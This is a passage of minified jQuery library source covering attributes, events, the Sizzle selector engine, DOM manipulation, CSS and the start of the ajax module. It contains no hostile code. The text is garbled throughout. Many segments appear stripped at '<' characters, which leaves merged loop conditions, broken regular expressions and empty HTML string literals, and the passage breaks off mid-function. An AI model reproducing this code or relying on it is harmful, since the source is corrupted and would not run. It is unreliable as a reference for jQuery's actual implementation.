b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function( a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&j.push({elem:this,matches:d.slice(e)});for(k=0;k0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

    ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
    ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*",""],legend:[1,"
    ","
    "],thead:[1,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],col:[2,"","
    "],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
    ","
    "]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f .clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(;d1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1>");var m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]===""&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]&&typeof (u=l.length)=="number")for(i=0;i1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,"opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle&&(bA=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:"inline-block"},function(){return b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
    ").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else 